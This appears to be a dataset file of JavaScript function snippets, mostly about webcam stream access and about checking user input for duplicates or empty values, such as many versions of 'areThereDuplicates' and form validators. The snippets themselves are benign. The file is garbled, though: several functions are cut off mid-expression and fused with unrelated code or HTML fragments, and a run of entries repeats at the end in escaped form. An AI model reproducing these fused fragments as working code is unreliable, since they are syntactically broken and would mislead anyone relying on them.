{\n\n // First get ahold of the legacy getUserMedia, if present\n var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;\n\n // Some browsers just don't implement it - return a rejected promise with an error\n // to keep a consistent interface\n if (!getUserMedia) {\n return Promise.reject(new Error('getUserMedia is not implemented in this browser'));\n }\n\n // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise\n return new Promise(function(resolve, reject) {\n getUserMedia.call(navigator, constraints, resolve, reject);\n });\n }\n }\n\n\n //let constraints = {video: { facingMode: \"environment\" } }\n let constraints = {video: { facingMode: \"environment\" }};\n\n // Acquires the video stream.\n navigator.mediaDevices.getUserMedia(constraints)\n .then((stream) => {\n if (\"srcObject\" in video) {\n video.srcObject = stream;\n } else {\n // Avoid using this in new browsers, as it is going away.\n video.src = window.URL.createObjectURL(stream);\n }\n video.onloadedmetadata = function(e) {\n video.play();\n };\n localMediaStream = stream;\n videoplayer = new VideoPlayer();\n }).catch((reason) => {\n console.error(\"Error in getting camera stream.\");\n alert(\"Camera Stream is not available on this device.\");\n });\n // Clear data, ready to be reused.\n clearText();\n}","function updateViewerCamera(){\n\tif (viewerParams.useTrackball) viewerParams.controls.target = new THREE.Vector3(viewerParams.controlsTarget.x, viewerParams.controlsTarget.y, viewerParams.controlsTarget.z);\n\n\tif (viewerParams.camera){\n\t\tviewerParams.camera.position.set(viewerParams.cameraPosition.x, viewerParams.cameraPosition.y, viewerParams.cameraPosition.z);\n\t\tviewerParams.camera.rotation.set(viewerParams.cameraRotation._x, viewerParams.cameraRotation._y, viewerParams.cameraRotation._z);\n\t\tviewerParams.camera.up.set(viewerParams.cameraUp.x, viewerParams.cameraUp.y, viewerParams.cameraUp.z);\n\t}\n\t//console.log(viewerParams.camera.position, viewerParams.camera.rotation, viewerParams.camera.up);\n}","function startPreview() {\n var captureSettings = new Windows.Media.Capture.MediaCaptureInitializationSettings();\n captureSettings.streamingCaptureMode = Windows.Media.Capture.StreamingCaptureMode.video;\n captureSettings.photoCaptureSource = Windows.Media.Capture.PhotoCaptureSource.videoPreview;\n \n // Enumerate cameras and add find first back camera\n var cameraId = null;\n var deviceInfo = Windows.Devices.Enumeration.DeviceInformation;\n if (deviceInfo) {\n deviceInfo.findAllAsync(Windows.Devices.Enumeration.DeviceClass.videoCapture).done(function (cameras) {\n if (cameras && cameras.length > 0) {\n cameras.forEach(function (camera) {\n if (camera && !cameraId) {\n // Make use of the camera's location if it is available to the description\n var camLocation = camera.enclosureLocation;\n if (camLocation && camLocation.panel === Windows.Devices.Enumeration.Panel.back) {\n cameraId = camera.id;\n }\n }\n });\n }\n if (cameraId) {\n captureSettings.videoDeviceId = cameraId;\n }\n\n capture.initializeAsync(captureSettings).done(function () {\n\n //trying to set focus mode\n var controller = capture.videoDeviceController;\n\n if (controller.focusControl && controller.focusControl.supported) {\n if (controller.focusControl.configure) {\n var focusConfig = new Windows.Media.Devices.FocusSettings();\n focusConfig.autoFocusRange = Windows.Media.Devices.AutoFocusRange.macro;\n\n var supportContinuousFocus = controller.focusControl.supportedFocusModes.indexOf(Windows.Media.Devices.FocusMode.continuous).returnValue;\n var supportAutoFocus = controller.focusControl.supportedFocusModes.indexOf(Windows.Media.Devices.FocusMode.auto).returnValue;\n\n if (supportContinuousFocus) {\n focusConfig.mode = Windows.Media.Devices.FocusMode.continuous;\n } else if (supportAutoFocus) {\n focusConfig.mode = Windows.Media.Devices.FocusMode.auto;\n }\n\n controller.focusControl.configure(focusConfig);\n controller.focusControl.focusAsync();\n }\n }\n\n var deviceProps = controller.getAvailableMediaStreamProperties(Windows.Media.Capture.MediaStreamType.videoRecord);\n\n deviceProps = Array.prototype.slice.call(deviceProps);\n deviceProps = deviceProps.filter(function (prop) {\n // filter out streams with \"unknown\" subtype - causes errors on some devices\n return prop.subtype !== \"Unknown\";\n }).sort(function (propA, propB) {\n // sort properties by resolution\n return propB.width - propA.width;\n });\n\n var maxResProps = deviceProps[0];\n\n controller.setMediaStreamPropertiesAsync(Windows.Media.Capture.MediaStreamType.videoRecord, maxResProps).done(function () {\n capturePreview.src = URL.createObjectURL(capture);\n // handle orientation change\n rotateVideoOnOrientationChange = true;\n capturePreview.onloadeddata = function () {\n updatePreviewForRotation();\n };\n // add event handler - will not work anyway\n window.addEventListener(\"orientationchange\", updatePreviewForRotation, false);\n\n capturePreview.play();\n\n // Insert preview frame and controls into page\n document.body.appendChild(capturePreview);\n document.body.appendChild(capturePreviewAlignmentMark);\n document.body.appendChild(captureCancelButton);\n\n startBarcodeSearch(maxResProps.width, maxResProps.height);\n });\n });\n });\n }\n }","function getVideo() {\n // Returns a promise\n navigator.mediaDevices\n .getUserMedia({ video: true, audio: false })\n .then((localMediaStream) => {\n // console.log(localMediaStream)\n // Take video and set source object to this localMediaStream\n video.srcObject = localMediaStream;\n video.play(); // emits \"canplay\" event\n })\n .catch((err) => {\n console.error(\n 'Oh no, we need your webcam permission in order for this to work!',\n err\n );\n });\n}","function manipulatevideo(){\n if( cameravideo || capturevideo ){\n cameravideo = false;\n capturevideo = false;\n capturestream = null;\n buttonOff(document.querySelector('.app__system--button.video'));\n camerastream.getVideoTracks()[0].enabled = cameravideo;\n document.getElementById('localvideo').srcObject = camerastream;\n //-------------------CREATE NEW PRODUCER-------------------------------------------\n removeOldVideoProducers();\n let videoProducer = mediasouproom.createProducer(camerastream.getVideoTracks()[0]);\n videoProducer.send(sendTransport);\n updatevideo();\n }\n}","function getCameraElement() {\r\n var camera = document.elements.findElementByTypeId(\"Microsoft.VisualStudio.3D.PerspectiveCamera\");\r\n return camera;\r\n}","function get_video(path) {\n //with camera stream, only working if we use video here not with 'var video', but before this point video doesn't exist\n video = video2;\n \n //need to be careful here: in use_webcam() the src Object is set with video.srcObject = stream; not with video.setAttribute(). If we don't reset\n //it to null it seems to override the attributes that are set with setAttribute.\n video.srcObject = null;\n //first I created a seperate source object here, which is complete nonesense\n //it's totally dufficient to add the path from the file picker
' +\\n '
' +\\n 'Notebook \n\t\t\t// ul.children[i] = selected list item (textContent for above example = \"Notebook Delete\", so inspect span tag only)\n\t\t\t// ul.children[i].children[0] = span tag of the selected list item\t\t\t\n\t\t\tvar entry = ul.children[i].children[0].textContent.toLowerCase().trim();\n\t\t if (input.value.toLowerCase().trim() === entry) {\n\t\t \treturn false //don't add duplicate item\n\t\t\t}\n\t\t}\n\t\tconsole.log(\"isValid\");\n\t\treturn true;\n\t}\n\treturn false;\n}","function DuplicateIn() {\n\n var formInvalid = false;\n $('#register_form input').each(function() {\n if ($(this).val() === '') {\n formInvalid = true;\n }\n });\n\n if (formInvalid)\n alert('One or Two fields are empty. Please fill up all fields');\n}","function appendListIfInputValid(input) {\n // info: slice() slices the string and returns it starting from the given index\n // toUpperCase() converts a string to uppercase letters.\n // toLowerCase() converts a string to lowercase letters.\n input = input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();\n\n // appends list array and returns true if no duplicate or empty values else returns false\n if (searchArrayForItem(list, input) == -1 && input != '') {\n list.push([input, 'noCheck']);\n return true;\n } else return false;\n}","function addTokenGuard()\n {\n if(input.val() == '' || input.val() == undefined)\n return true;\n\n // If the value already exists in the list then dont add it\n var dirty = false;\n list.children('li').each(function() {\n if($(this).html() == input.val())\n dirty = true;\n });\n\n return dirty;\n }","function manage_user_input(){\n let input = $(\"#user_input\").val().toUpperCase();\n if(input.length > 0 && !all_user_input.includes(input)){\n $(\"#game_message_p\").attr(\"hidden\",true);\n $(\"#user_input\").val(\"\");\n let isTarget = check_user_input(input);\n store_user_input(input,isTarget);\n } else {\n $(\"#game_message_p\")\n .text(\"Input too short (min length = 1) or you already tried this word.\")\n .attr(\"hidden\",false);\n }\n}","function addTo() { \n//had to parseInt so that player choices were converted to integars to be compared with lottoArray latter - this takes userinput, coverts it to an integar and populates playerArray\n playerChoice = parseInt(document.getElementById(\"userinput\").value);\n //created to manage situations where the player may input a duplicate option (this disallows duplicates in the array)\n if (playerArray.length < 6 && playerArray.indexOf(playerChoice) === -1){\n playerArray.push(playerChoice); \n //highlights with an alert when the player has chosen all 6 numbers\n if(playerArray.length == 6){\n printNumbersPlayer()\n alert(\"you have now chosen your 6 numbers!\");\n }\n\n return false;\n }\n //this else statement posts an alert if a duplicate has been used\n else {\n alert(\"you have used a duplicate, try another number!\");\n return false;\n }\n }","function checkDuplicatePicklistValues(arr) {\n\tvar len=arr.length;\n\tfor (var i=0; i 2) throw new Error('Input must contain only two character types')\n }\n return [[...seen], input]\n}","function add(animals, animal) {\n// takes an array of animals and an object representing a new animal\n // checks that the param animal Object has a name prop with a length > 0 && species prop with a length > 0\n // checks that the new animal has a UNIQUE name that doesn't already exist in the animals array\n \n // if user types something into the fields\n if (animal.name.length > 0 && animal.species.length > 0) {\n // loop to check to see if the name exists \n for (let i = 0; i < animals.length; i++) {\n if (animal.name === animals[i].name) {\n console.log (\"that animal exists\");\n return;\n } \n }\n animals.push(animal);\n }\n}","checkUserInput() {\r\n const {\r\n drugId1, drugId2, sample, dataset,\r\n } = this.state;\r\n return drugId1 !== 'Any' || sample !== 'Any' || dataset !== 'Any' || drugId2 !== 'Any';\r\n }","function isDuplicateEntry(wslId) {\r\n\t//alert(\"wslField = \" + wslField);\r\n\tvar wslIdList = getMainView().forms[0].elements[wslField];\r\n\t//alert(\"wslIdList = \" + wslIdList);\r\n\tvar duplicate = false;\r\n\t//alert(\"!wslIdList = \" + (!wslIdList));\r\n\tif(!wslIdList) return false;\r\n\t\r\n\t//alert(\"wslIdList.length = \" + wslIdList.length);\r\n\tif(wslIdList.length) {\r\n\t\t// there are more than one entry\r\n\t\tfor(var z=0; z 1) return true\n }\n return false;\n}","function removeDuplicates (input) {\n\t\t\tlet result = input.filter(function(item, pos) {\n\t\t\t\treturn input.indexOf(item) == pos;\n\t\t\t});\n\t\t\treturn result\n\t\t}","function areThereDuplicates2() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n }","function findDuplicate() {\n\n var modelsArray = [$scope.data.first, $scope.data.second, $scope.data.third, $scope.data.fourth];\n var filteringModelsArray = _.uniq(modelsArray);\n\n return filteringModelsArray.length === modelsArray.length;\n }","function checkForDuplicates()\r\n\t{\r\n\tfor (i=0; i < activeClippings.length; i++)\r\n\t\t{\r\n\t\tif (newClipping == activeClippings[i].id) {i = allClippings.length; duplicate = true;}\r\n\t\t}\r\n\t}","function checkInput(guess) {\n\t\tfor (var i = 1; i <= 4; i++) {\n\t\t\tvar inputnow = \"input\" + i;\n\t\t\t//console.log(inputnow);\n\t\t\tvar newNum = parseInt(document.getElementById(inputnow).value);\n\t\t\tconsole.log(newNum);\n\t\t\tif (isValid(newNum)) {\n\t\t\t\t\n\t\t\t\tif (checkNum(newNum, guess)) {\n\t\t\t\t\t// Good to go. \n\t\t\t\t} else {\n\t\t\t\t\tdocument.getElementById(\"message\").innerHTML = \" 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function handleSaveUrl() {\n inputValue = input.value;\n let checkUrl = arrWithUrl.includes(inputValue);\n if(checkUrl) {\n showModal();\n modalContent.textContent = \"You have already saved this url\"; \n } else {\n arrWithUrl.push(inputValue);\n setLocalStorage(arrWithUrl);\n createUrlItem(inputValue);\n }\n form.reset();\n}","function validateNamesUnique() {\n var i = 0;\n while (vm.paramsForm.hasOwnProperty('name_' + i)){\n var modelValue = vm.paramsForm['name_' + i].$modelValue;\n vm.paramsForm['name_' + i].$setValidity(\n 'unique',\n vm.parametersList.isNameUnique(modelValue)\n );\n i++;\n }\n }","function areThereDuplicates() {\n // console.log(arguments)\n let counter = {};\n for (let i=0; i< arguments.length; i++){\n // counter[arguments[i]] = ++counter[arguments[i]] || 1;\n if (counter[arguments[i]]) return true;\n counter[arguments[i]] = 1;\n // console.log(counter)\n\n }\n return false;\n}","function checkDuplicatedNames() {\n\n for(var i = 0; i < productTable.length; i++)\n {\n if(productName.value == productTable[i].name) \n {\n productName.classList.add(\"is-invalid\");\n productName.classList.remove(\"is-valid\");\n\n PNameAlert.classList.add(\"d-block\");\n PNameAlert.classList.remove(\"d-none\");\n\n PNameAlert.innerHTML = \"Product Name Already Exists\";\n\n addBtn.disabled = true;\n } \n }\n}","function insertNum(){\r\n var win = true;\r\n for (var i = 0; i < numbers.length; i++) {\r\n userList[i] = Number(prompt(\"Inserisci il \"+ (i+1) +\"° numero\"));\r\n if (userList[i] === numbers[i]) {\r\n win *= true;\r\n }\r\n else{\r\n win = false;\r\n }\r\n }\r\n return win;\r\n}","function getValue(input){\n //if our dot array operators2 includes(includes basically check a value)..if value u r checking is within operators2, it will return true, if not, it will return false..last value=inputs.length-1\n if(operators2.includes(inputs[inputs.length-1]===true && input===\".\")){\n console.log(\"Duplicat '.' \");\n }\n //if very first number is exactly = 1\n else if(inputs.length===1 && operators1.includes(input)===false){\n //add value to inputs array..inputs=array..input=this.id that we will be adding..so basically is checking if it is a number\n inputs.push(input); \n }\n //if last thing was not an operator, go ahead and add that input to the array\n //if last character was not an operator, add operator to the array\n else if(operators1.includes(inputs[inputs.length-1])===false){\n inputs.push(input);\n }\n //check to add a number..convert string to number\n //if input includes,of how we r getting id, convert string to number..if it includes that input..if that is true..\n else if(nums.includes(Number(input))){\n //push input to end of array?\n inputs.push(input);\n }\n //update function will update value at end of our list\n update();\n }","function findDuplicateCharacters(input) {\n}","inNoOfShare() {\n var flag = true;\n var Noofshares = read.question(\"Enter how many shares you have \");\n while (flag) {\n\n if (!isNaN(Noofshares)) {//for validate full name\n flag = false;\n } else {\n var Noofshares = read.question(\"Wrong input !!!...Please enter No of shares in integer \");\n }\n }\n return Noofshares;\n }","function hasElementsWithUniqueNames() {\n let duplicates = findDuplicates(inputsSelectsTextareas, 'name', 'formAncestorID')\n // Radio buttons have duplicate names.\n .filter(field => field.type !== 'radio');\n let problemFields = duplicates.map(field => stringifyElement(field));\n // Deduplicate items with same tagName and id.\n problemFields = [...new Set(problemFields)];\n if (problemFields.length) {\n const item = {\n // description: 'Autocomplete values must be valid.',\n details: 'Found fields in the same form with duplicate
• ' +\n `${problemFields.join('
• ')}`,\n learnMore: 'Learn more: The input element name attribute',\n title: 'Fields in the same form must have unique').text('No duplicates: ' + newSentence).appendTo('#outputs');\n}","function clickedScore() {\n if (playerInitals.includes(nameSubmit.value)) {\n alert(\"That inital already exist\");\n } else if (\n nameSubmit.value === \"\" ||\n nameSubmit.value === null ||\n nameSubmit.value === undefined\n ) {\n alert(\"Please enter valid initals\");\n } else {\n playerInitals.push(nameSubmit.value);\n playerScores.push(score);\n setLS();\n matchHS();\n viewHS();\n }\n}","handleSubmit(event) {\n event.preventDefault();\n let symbol = event.target[0].value.trim();\n if (symbol === '') {\n alert('The input box was empty.');\n } else if (this.state.stockSymbols.includes(symbol.toUpperCase())) {\n alert('This stock symbol has already been entered.');\n } else if (!this.state.validSymbols.includes(symbol.toUpperCase())) {\n alert('That isn\\'t a valid stock symbol.');\n } else {\n let newSymbols = this.state.stockSymbols.slice();\n newSymbols.push(symbol.toUpperCase());\n this.setState({stockSymbols: newSymbols});\n }\n }","function duplicateCheck() {\n if(duplicateInput.checked) {\n if (lengthInput.value.trim() <= 10) {\n return(true)\n }\n else {\n dupErrorString.textContent = \"You can only remove duplicates for a password of 10 or fewer characters\"\n return(false)\n }\n }\n else {\n return(true)\n }\n}","addSong(selectedSong){\r\n let newItem = this.userBand + \" - \" + selectedSong;\r\n //prevents adding of duplicate songs\r\n this.userSetlist.indexOf(newItem) === -1 ? this.userSetlist.push(newItem) : console.log(\"This song is already in the list\");\r\n }","function readInput() {\n clear(\"comparingDiv\")\n\n input1 = document.getElementById(\"searchbox1\").value;\n input2 = document.getElementById(\"searchbox2\").value;\n\n var list = educationInterface.getIDs();\n\n if (!list.includes(input1) || !list.includes(input2)) \n comparingDiv.appendChild(document.createTextNode(\"Invalid input. Please check that both field contain valid ids.\"));\n else \n createComparisionTables(input1.toString(), input2.toString());\n\n return false;\n}","inStockName() {\n var name = read.question(\"Enter the name of stock \");\n var flag = true;\n while (flag) {//for validating inputs\n\n if (isNaN(name)) {//for validate the name \n flag = false;\n } else {\n var name = read.question(\"Wrong input !!!...Please enter correct name of Stack \");\n }\n }\n return name;\n }","function duplicateChars(letter) {\n if (correctGuesses.includes(letter) || wrongGuesses.includes(letter)) {\n warning = \"YOU ALREADY GUESSED THAT LETTER!\";\n warningElement.innerHTML = warning;\n }\n}","function duplicateFinder(word, inputValueArr, currentKey) {\n console.log(\"word, inputValueArr, currentKey\", word, inputValueArr, currentKey);\n\n for (let i = 0; i < inputValueArr.length; i++) {\n //exclude checking the current index while finding duplicates.\n //This is done because the current index is where the {word} is saved. So we should check only with other objects in array.\n if (currentKey != i && word === inputValueArr[i]) {\n return true;\n }\n\n }\n return false;\n}","function checkInput() {\n if (attempts > 0) {\n let counter = 0;\n\n for (let toValidate of domList.children) {\n let li = toValidate;\n let wordChar = li.getAttribute(\"data-char\").toLowerCase();\n let pChar = toValidate.querySelector(\"p\");\n\n if (wordChar === inputChar) {\n counter = counter + 1;\n pChar.classList.remove(\"hidden\");\n }\n }\n let check = wrongKeys.includes(inputChar);\n\n if (counter === 0 && check === false) {\n wrongKeys.push(inputChar);\n displayWrongKeys();\n }\n }\n countWrongAttempts();\n}","addEntry() {\n let candidateName = this.state.newEntryName\n let temp = this.state.pieData\n let newId = this.generateId()\n\n //Avoiding empty labels\n if(candidateName === ''){\n alert(\"Please insert an entry name\")\n } \n else{\n\n //Ensuring that the label is unique by going through all labels in pie data..\n for(var i = 0; i < temp.length; i++){\n\n //If not unique, the user is asked to enter a new entry, and the input box is reset. \n if(temp[i].label === candidateName){\n alert(\"This entry already exists. Please enter a unique entry name.\");\n document.getElementById('newEntry').value = '';\n return\n }\n }\n\n //If there are no errors, the entry object is pushed into pieData.\n temp.push({id: newId, label: candidateName, value: '0', votes: 0});\n this.setState({\n pieData: temp,\n newEntryName: ''\n })\n //Reset the data from the input\n document.getElementById('newEntry').value = '';\n }\n }","function combinedArray() {\n var userName = prompt(\"Please enter a name\", \"Enter name here\");\n var nameSearch = allNames.lastIndexOf(userName);\n if (nameSearch > 0) {\n alert(\"Your name is in the array\")\n }\n else {\n alert(\"Your name is NOT in the array\")\n }\n}","function areThereDuplicates() {\n let freqCounter = {};\n for(let i = 0; i < arguments.length; i++){\n if(freqCounter[arguments[i]]){\n return true;\n } else {\n freqCounter[arguments[i]] = true;\n }\n }\n return false;\n}","function validateUnique(threeArray){\n for(var i = 0; i < threeArray.length; i ++){\n for(var v = 0; v < lastItemsSeen.length; v++){\n if(threeArray[i].product === lastItemsSeen[v].product){\n \n return false;\n \n }\n }\n return true;\n }\n}","function userInput() {\n checkedUpper = window.confirm('Do you want Upper Case Letters?');\n checkedLower = window.confirm('Do you want Lower Case Letters?');\n checkedNumbers = window.confirm('Do you want Numbers?');\n checkedSpecial = window.confirm('Do you want Special Characters?');\n if (!checkedUpper && !checkedLower && !checkedNumbers && !checkedSpecial) {\n alert(\"Must choose at least one\");\n userInput();\n }\n}","function areThereDuplicates() {\n let collection = {};\n for (let val in arguments) {\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1;\n }\n for (let key in collection) {\n if (collection[key] > 1) return true;\n }\n return false;\n}","function checkUserInput(){\n\t\t//check if title name is inputted\n\t\tif (!$(element).find('input[id=edit_title_name]').val()){\n\t\t\talert (\"Please input the test's title name\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check if test type is selected\n\t\tif (!$('#edit_test_type').val()){\n\t\t\talert (\"Please choose the test type\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check if total question number is inputted correctly\n\t\tif ( isNaN($(element).find('input[id=edit_total_question]').val()) || !isPositiveInteger($(element).find('input[id=edit_total_question]').val()) ){\n\t\t\talert (\"Please input correct number in total main question number\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check in each question set...\n\t\tnGroups = $(element).find('input[id=edit_total_question]').val();\n\t\tfor (var i=1;i<=nGroups;i++){\n\t\t\t//check if sub question number is inputted correctly\n\t\t\tif (isNaN($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) || !isPositiveInteger($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) ){\n\t\t\t\talert (\"Please input correct number in total sub question number for Q\" + i);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t//check in each question...\n\t\t\tvar total_sub_question = $(element).find('input[id=edit_total_sub_question_' + i + ']').val();\n\t\t\tfor (var j=1;j<=total_sub_question;j++){\n\t\t\t\t//check question content or picture is inputted\n\t\t\t\tif (!$(element).find('input[name=question' + i + '\\\\.'+ j + ']').val() && !$(element).find('input[name=question' + i + '\\\\.'+ j + '_pic]').val()){\n\t\t\t\t\talert (\"Please input a question content or picture on Q\" + i + \".\" + j);\n\t\t\t\t\treturn false;\t\t\t\t\n\t\t\t\t}\n\t\t\t\t//check learning object link and name are inputted.\n\t\t\t\tif (!$(element).find('input[name=lo' + i + '\\\\.' + j + '_link]').val() && $(element).find('input[name=lo' + i + '\\\\.' + j + '_link]').length > 0){\n\t\t\t\t\tif (j==1) {}\n\t\t\t\t\telse {\n\t\t\t\t\t\talert (\"Please input learning object link for Q\" + i + '.' + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (!$(element).find('input[name=lo' + i + '\\\\.' + j + '_name]').val() && $(element).find('input[name=lo' + i + '\\\\.' + j + '_name]').length > 0){\n\t\t\t\t\tif (j==1) {}\n\t\t\t\t\telse {\n\t\t\t\t\t\talert (\"Please input learning object name for Q\" + i + '.' + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//variable to check for checkbox (correct answer)\n\t\t\t\tvar isChecked = false;\t\n\t\t\t\t//check for each answer...\n\t\t\t\tfor (var k=1;k<=4;k++){\n\t\t\t\t\t//check answer content is inputted\n\t\t\t\t\tif (!$(element).find('input[name=answer' + i + '\\\\.'+ j + '_'+ k + ']').val()){\n\t\t\t\t\t\talert (\"Please input an answer for Q\" + i + \".\" + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t//check if one of checkboxes is selected \n\t\t\t\t\tif ( $(element).find('input[id=answer' + i + '\\\\.'+ j + '_'+ k + '_cb]').is(':checked')){\n\t\t\t\t\t\tisChecked = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//if no checkbox is selected\n\t\t\t\tif (!isChecked){\n\t\t\t\t\talert (\"Please select one correct answer in Q\" + i + \".\" + j);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\t\t\n }\n\t\treturn true;\n\t}","function checkInput(){\n if(isNaN(userGuess)) {\n alert(\"Please enter a number from 1 - 100!\");\n } else if(userGuess === \" \") {\n alert(\"Well, you have to input a number\");\n } else if (userGuess < 0 || userGuess > 100) {\n alert(\"Plese enter a number from 1 - 100!\");\n } else {\n comparisonAmount();\n console.log(\"User guess = \" + userGuess);\n $('#userGuess').val('');\n guessCount++;\n setCount(guessCount);\n $('ul#guessList').append(\" \" + userGuess + \" \");\n }\n}","checkIfUnique(name, value, signal) {\n if (name === 'password' || name === 'confirmPassword') return;\n return this.getAll(signal)\n .then(users => {\n return users.find(user => user[name] === value)\n })\n .then(user => {\n let message = '';\n if (user !== undefined){\n message = `This ${name} has already been used.`; \n } \n return this.setError(name, message); \n });\n }","function checkDuplicate()\n {\n var found = false;\n for (var i = 0; i < $scope.list.length; i++)\n {\n if ($scope.list[i].item == $scope.item)\n {\n found = true;\n }\n }\n return found;\n }","function areThereDuplicates() {\n let args = [...arguments];\n const argsList = {}\n for(let i = 0; i< args.length; i++){\n let currentArg = args[i];\n argsList[currentArg] ? argsList[currentArg] += 1: argsList[currentArg] = 1\n }\n for (let two in argsList) {\n if (argsList[two] > 1) {\n return true;\n }\n }\n return false;\n}","handleSubmit(e) {\n e.preventDefault();\n let firstValue, secondValue;\n const [firstInput, secondInput] = e.target.elements;\n firstValue = firstInput.value.trim().split(' ').join('');\n secondValue = secondInput.value.trim().split(' ').join('');\n\n this.checkValues(firstValue,secondValue);\n\n firstInput.value = '' ;\n secondInput.value = '' ;\n firstInput.focus();\n\n }","function checkEntry() {\n while (typeof sticksToRemove !== \"number\" ||\n Math.trunc(sticksToRemove) !== sticksToRemove ||\n sticksToRemove < 1 ||\n sticksToRemove > Math.min(3, stickCount)) {\n sticksToRemove = parseInt(prompt(\"Invalid entry. \" + players[0] + \", how many sticks do you want to remove? (1-3)\"));\n }\n}","function checkDupe(data,x){\n\n if(idArray.includes(data[x][0])){\n return false;\n } else { return true; }\n\n}","function areThereDuplicatesBonus(...args) {\n args.sort();\n let j = 1;\n let i = 0;\n while(j !== args.length){\n if(args[j] !== args[i]){\n i++;\n j++;\n } else {\n return true;\n }\n }\n return false;\n}","function areThereDuplicates() {\n return new Set(arguments).size !== arguments.length;\n }","function areThereDuplicates() {\n return new Set(arguments).size !== arguments.length;\n }","function validateSkillSelections(){\n // if there are errors clear them here, we'll replace them if they aren't fixed\n $('.skills_section .validation_error').remove();\n var $skills = $(\".skill_selector\");\n var result = true;\n console.log(`Starting skill validation. Result: ${result}`);\n for(let j = 0; j < $skills.length; j++){\n for(let i = $skills.length - 1; i > j; i--){\n if( $($skills[j]).val() === $($skills[i]).val()){\n // Two skills are the same, fire an error message\n console.log(\"two skills are the same!!!!\");\n result = false;\n let skillType = $skills[j].id.slice(0, $skills[j].id.lastIndexOf(\"_\"));\n if ($(`.skills_section .${skillType}_error`).length < 1){\n insertValidationError(`.${skillType}_list`, skillType, \"You cannot choose the same skill more than once\"); \n }\n }\n }\n }\n console.log(`Ending skill validation. Result: ${result}`);\n return result;\n }","function checkGuess () {\n var isItRepeated = $guessed.includes($guess);\n if (isItRepeated === true) {\n alreadyGuessed = true;\n } else {\n alreadyGuessed = false;\n }\n }","addStudent(newStudent) {\n let foundDuplicates = studentsFullList.filter(student => {\n return student.name.includes(newStudent.name) == true || student.email.includes(newStudent.email) == true\n });\n if (foundDuplicates.length > 0) {\n console.log(`Student already added`);\n } else {\n studentsFullList.push(newStudent);\n }\n return {\n newStudent,\n studentsFullList\n }\n }","function isValid(guess) {\n return !hasDuplicates(guess)\n}","function validateUsers(e) {\n let username = e.target.name.value;\n let pin = e.target.pin.value;\n console.log(username, pin);\n let x = sortedUsers.find((user) => user.username === username);\n if (x != undefined) {\n x.pin === pin ? exitSignIn(x) : alert(\"incorrect password\");\n } else {\n console.log(\"at else Existing User\");\n alert(\"invalid input, try again\");\n }\n }","function theGuess(userInput) {\n //if the user guessed correctly....\n if (userInput === theLetter) {\n winCounter++;\n lettersGuessed.length = 0;\n guessesRemaining = 8;\n newLetter();\n printWin();\n printLetters();\n printGuesses();\n winCheck();\n //if the user guessed incorrectly and that letter has not already been guessed....\n } else if (lettersGuessed.includes(userInput) === false) {\n console.log(`User entered ${userInput}`);\n lettersGuessed.push(userInput);\n guessesRemaining--;\n printGuesses();\n printLetters();\n }\n gameCheck();\n}","function checkInputField(event) {\n if (event.keyCode == 13 && players.length < maxPlayerNumber) {\n AddPlayer();\n }\n}","function validActivityInput(){\n let activity = [];\n const activityError = \"Notebook \\n\\t\\t\\t// ul.children[i] = selected list item (textContent for above example = \\\"Notebook Delete\\\", so inspect span tag only)\\n\\t\\t\\t// ul.children[i].children[0] = span tag of the selected list item\\t\\t\\t\\n\\t\\t\\tvar entry = ul.children[i].children[0].textContent.toLowerCase().trim();\\n\\t\\t if (input.value.toLowerCase().trim() === entry) {\\n\\t\\t \\treturn false //don't add duplicate item\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tconsole.log(\\\"isValid\\\");\\n\\t\\treturn true;\\n\\t}\\n\\treturn false;\\n}\",\n \"function DuplicateIn() {\\n\\n var formInvalid = false;\\n $('#register_form input').each(function() {\\n if ($(this).val() === '') {\\n formInvalid = true;\\n }\\n });\\n\\n if (formInvalid)\\n alert('One or Two fields are empty. Please fill up all fields');\\n}\",\n \"function appendListIfInputValid(input) {\\n // info: slice() slices the string and returns it starting from the given index\\n // toUpperCase() converts a string to uppercase letters.\\n // toLowerCase() converts a string to lowercase letters.\\n input = input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();\\n\\n // appends list array and returns true if no duplicate or empty values else returns false\\n if (searchArrayForItem(list, input) == -1 && input != '') {\\n list.push([input, 'noCheck']);\\n return true;\\n } else return false;\\n}\",\n \"function addTokenGuard()\\n {\\n if(input.val() == '' || input.val() == undefined)\\n return true;\\n\\n // If the value already exists in the list then dont add it\\n var dirty = false;\\n list.children('li').each(function() {\\n if($(this).html() == input.val())\\n 